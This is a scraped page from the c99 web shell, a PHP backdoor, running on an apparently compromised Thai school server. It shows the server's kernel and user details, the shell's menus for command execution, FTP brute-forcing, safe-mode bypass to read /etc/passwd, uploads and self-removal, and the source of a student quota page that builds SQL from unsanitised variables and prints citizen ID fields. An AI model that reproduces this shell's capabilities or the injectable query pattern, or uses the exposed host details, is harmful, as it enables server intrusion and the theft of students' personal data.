!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     courseInClassTable1.php (7.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../link/function.php");
 include(
"../include/FunctionDB.php");
 include(
"../include/Function.php");
ConnectDB();
$sql "SELECT * FROM  student  Where studentId='$studentId' ";
$result1 mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result1);
$sql "Select * From quotatype  Order By  quotaId  ASC ";
$result mysql_query($sql) or die(" Error").mysql_error();
$row mysql_fetch_array($result);
$num mysql_num_rows($result);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>รายละเอียดโควตา</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="./source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style23 {font-size: 14px}
-->
</style>

<!---------------------------------------Begin JavaScript---------------------------------------->

<script language="JavaScript">

    function ReturnValue(quotaId,quotaTypeName,provinceId,provinceName,id)

    {
        if(id == 1){
            window.opener.pc.quotaId1.value = quotaId;
            window.opener.pc.provinceId1.value = provinceId;
        }
        if(id == 2){
            window.opener.pc.quotaId2.value = quotaId;
            window.opener.pc.provinceId2.value = provinceId;
        }
        if(id == 3){
            window.opener.pc.quotaId3.value = quotaId;
            window.opener.pc.provinceId3.value = provinceId;
        }
        if(id == 4){
            window.opener.pc.quotaId4.value = quotaId;
            window.opener.pc.provinceId4.value = provinceId;
        }
        if(id == 5){
            window.opener.pc.quotaId5.value = quotaId;
            window.opener.pc.provinceId5.value = provinceId;
        }
        if(id == 6){
            window.opener.pc.quotaId6.value = quotaId;
            window.opener.pc.provinceId6.value = provinceId;
        }
        if(id == 7){
            window.opener.pc.quotaId7.value = quotaId;
            window.opener.pc.provinceId7.value = provinceId;
        }
        if(id == 8){
            window.opener.pc.quotaId8.value = quotaId;
            window.opener.pc.provinceId8.value = provinceId;
        }
        if(id == 9){
            window.opener.pc.quotaId9.value = quotaId;
            window.opener.pc.provinceId9.value = provinceId;
        }
        if(id == 10){
            window.opener.pc.quotaId10.value = quotaId;
            window.opener.pc.provinceId10.value = provinceId;
        }
        if(id == 11){
            window.opener.pc.quotaId11.value = quotaId;
            window.opener.pc.provinceId11.value = provinceId;
        }
        if(id == 12){
            window.opener.pc.quotaId12.value = quotaId;
            window.opener.pc.provinceId12.value = provinceId;
        }
        window.opener.pc.quotaTypeName[id-1].value = quotaTypeName;        
        window.opener.pc.provinceName[id-1].value = provinceName;
        
        window.close();

    }

</script>

</head>
<form name="pc" action="<?php echo $PHP_SELF?>" method="post">
  <div align="center">
    <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" style="background-color:#eeeeee; border:1px solid gray">
      <tr bgcolor="#CCCCFF">
        <td height="24" colspan="2" bgcolor="#D2F49F" ><div align="center"><font color="#003366" size="2" face="Tahoma">ชื่อ </font><font size="2" face="Tahoma"><font size="2" face="Tahoma">
          <?php
         $prefixId  
=  $rs["prefixId"];
         
$sql "Select * From  prefix  Where  prefixId ='$prefixId' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[prefixName] ";
         
?>
          </font></font><font color="#003366" size="2" face="Tahoma">&nbsp; <? echo $rs["studentName"?> <? echo $rs["studentLastname"?> <font color="#003366" size="2" face="Tahoma">เลขที่สมัครสอบ </font><font color="#000000" size="2" face="Tahoma"><font color="#003366" size="2" face="Tahoma"><? echo $rs["student_code"]?></font></font> <font color="#003366" size="2" face="Tahoma">เลขบัตรประชาชน <? echo $rs["citizenId"]?> จังหวัด </font></font><font size="2" face="Tahoma"><font size="2" face="Tahoma">
            <?php
         $provinceId  
=  $rs["provinceId"];
         
$sql "Select * From  province  Where  provinceId ='$provinceId' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[provinceName] ";
         
?>
        </font></font></div></td>
      </tr>
      <tr bgcolor="#CCCCFF">
        <td height="24" colspan="2" bgcolor="#D2F49F" ><div align="center" class="style23"><span class="style26 style11">หลักสูตรต่างๆในการผลิตบุคลากรสุขภาพเพื่อชุมชน</span></div></td>
      </tr>
      <tr bgcolor="#E6E6E6">        
        <td width="967" align="center" style="border:1px solid gray"><span class="style23"><font color="#000000" face="Tahoma">รายชื่อหลักสูตร</font></span></td>
        <td width="99" align="center" style="border:1px solid gray"><span class="style23"><font color="#000000" face="Tahoma">เลือก</font></span></td>
      </tr>
      <?php
$i 
1;
 while(
$row mysql_fetch_array($result))
 {

     if(
$count==0)
     {
?>
      <tr bgcolor="#F7F7F7" >        
        <td bgcolor="#F7F7F7"><font size="2" face="Microsoft Sans Serif"><?php echo $row["quotaTypeName"]?></font>
        <font size="2" face="Tahoma">
          <?php
         $provinceId  
=  $rs["provinceId"];
         
$sql "Select * From  province  Where  provinceId ='$provinceId' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[provinceName] ";
         
?>
        </font></td>
        <td width="99" align="center" ><font size="2" face="Microsoft Sans Serif" style="CURSOR: hand" onClick='ReturnValue("<?php echo $row["quotaId"]?>","<?php echo $row["quotaTypeName"]?>","<?php echo $rss["provinceId"]?>","<?php echo $rss["provinceName"]?>","<?php echo $id?>")'><a href="#" ><img src="./picture/addc.gif" width="15" height="19" border="0" align="absmiddle" /></a></font></td>
      </tr>
      <?
    $count
=1;
     }
else
{
?>
      <tr bgcolor="#FFFFFF">        
      <td bgcolor="#FFFFFF"><font size="2" face="Microsoft Sans Serif"><?php echo $row["quotaTypeName"]?></font>
      <font size="2" face="Tahoma">
        <?php
         $provinceId  
=  $rs["provinceId"];
         
$sql "Select * From  province  Where  provinceId ='$provinceId' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[provinceName]";
         
?>
      </font></td>
        <td align="center" bordercolor="#FFFFFF" ><font size="2" face="Microsoft Sans Serif" style="CURSOR: hand" onClick='ReturnValue("<?php echo $row["quotaId"]?>","<?php echo $row["quotaTypeName"]?>","<?php echo $rss["provinceId"]?>","<?php echo $rss["provinceName"]?>","<?php echo $id?>")'><a href="#" ><img src="./picture/addc.gif" width="15" height="19" border="0" align="absmiddle" /></a></font></td>
      </tr>
      <?
$count
=0;
}
$i++;
 }    
?>            
      <tr bgcolor="#CCCCFF">
        <td height="25" colspan="2" align="center" bgcolor="#D2F49F" ><div align="center"><strong><font color="#000000" size="2" face="Tahoma">ทั้งหมด</font><font color="#003399" size="2" face="Tahoma"> <? echo $num ?> </font><font color="#FFFFFF" size="2" face="Tahoma"><font color="#003366">รายการ</font><font color="#FFFFFF">&nbsp;</font></font> </strong></div></td>
         <tr>
           <td height="24" colspan="2" align="center">          
          <input name="studentId" type="hidden" id="studentId" value="<? echo $rs["studentId"]?>">
          <input name="quotaId" type="hidden" id="quotaId" value="<? echo $rs["quotaId"]?>">
          <input name="provinceId" type="hidden" id="provinceId" value="<? echo $rs["provinceId"]?>">
        <input name="quotaStatus" type="hidden" id="quotaStatus" value="<? echo $rs["quotaStatus"]?>">
        <input name="amount" type="hidden" id="amount" value="<? echo $rs["amount"]?>">
        <input name="quotaId" type="hidden" value="<? echo $id?>"></td>
      </tr>
         <tr>
           <td align="center" colspan="2"><a href="#" onClick="window.close()"><font face="Microsoft Sans Serif" size="1">[ปิดหน้านี้]</font></a></td>
         </tr>
      <tr>
      <td height="2">      </tr>
    </table>
  </div>
</form>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--